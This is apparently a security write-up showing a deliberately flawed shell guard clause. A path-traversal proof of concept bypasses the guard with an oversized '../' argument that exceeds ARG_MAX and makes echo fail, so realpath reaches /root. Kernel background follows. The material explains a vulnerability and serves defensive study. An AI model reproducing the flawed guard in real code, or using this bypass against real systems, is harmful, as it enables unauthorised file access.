a sample of [cdwdoc-2023-001], too optimistic guard clause
this sample is for modern Linux (kernel 2.6.23 or later, and /usr/bin/realpath
is part of GNU coreutils or is a symlink to modern busybox
with glibc)
#!/bin/sh
# written by cleemy desu wayo / see [cdwdoc-2023-001] / Licensed under CC0 1.0
# too optimistic guard clause
if /bin/echo "x$1$2$3" | grep '[^a-z0-9/]' > /dev/null ; then
echo "error: invalid dir" >&2
exit 1
fi
user_name="$1"
dir="$2"
option="$3"
realpath "/home/$user_name/$dir"
exit 0
-
examples of attacks:
$ ls -l /home/user1 total 0 $ getconf ARG_MAX 2097152 $ str="$(yes '../' | head -43684 | tr -d '\n')" $ echo ${#str} 131052 $ ./cdwdoc-2023-001_sample_dir.sh "user1" "${str}root" "aaaaaaaaaaaaaaaa" ./cdwdoc-2023-001_sample_dir.sh: 5: /bin/echo: Argument list too long /root $ echo $? 0 $ ./cdwdoc-2023-001_sample_dir2.sh "user1" "${str}root" "aaaaaaaaaaaaaaaa" ./cdwdoc-2023-001_sample_dir2.sh: 5: /bin/echo: Argument list too long error: invalid dir $ echo $? 1
-
cdwdoc-2023-001_sample_dir2.sh
is here: https://gitlab.com/-/snippets/2487377 -
In Linux, the behavior around ARG_MAX was drastically changed in kernel 2.6.23 (released in October 2007), and there seems to have been a slight change in kernel 2.6.25 (released in April 2008).
https://www.in-ulm.de/~mascheck/various/argmax/
https://unix.stackexchange.com/questions/120642/what-defines-the-maximum-size-for-a-command-single-argument/120842#120842If an attacker intentionally tries to make one argument huge, the macro constant MAX_ARG_STRLEN may be more important than the overall command line size in Linux since kernel 2.6.23.
In the latest exec.c in Linux kernel, the length check by MAX_ARG_STRLEN is the following part (only when CONFIG_MMU=y):
https://github.com/torvalds/linux/blob/e1212e9b6f06016c62b1ee6fe7772293b90e695a/fs/exec.c#L292-L295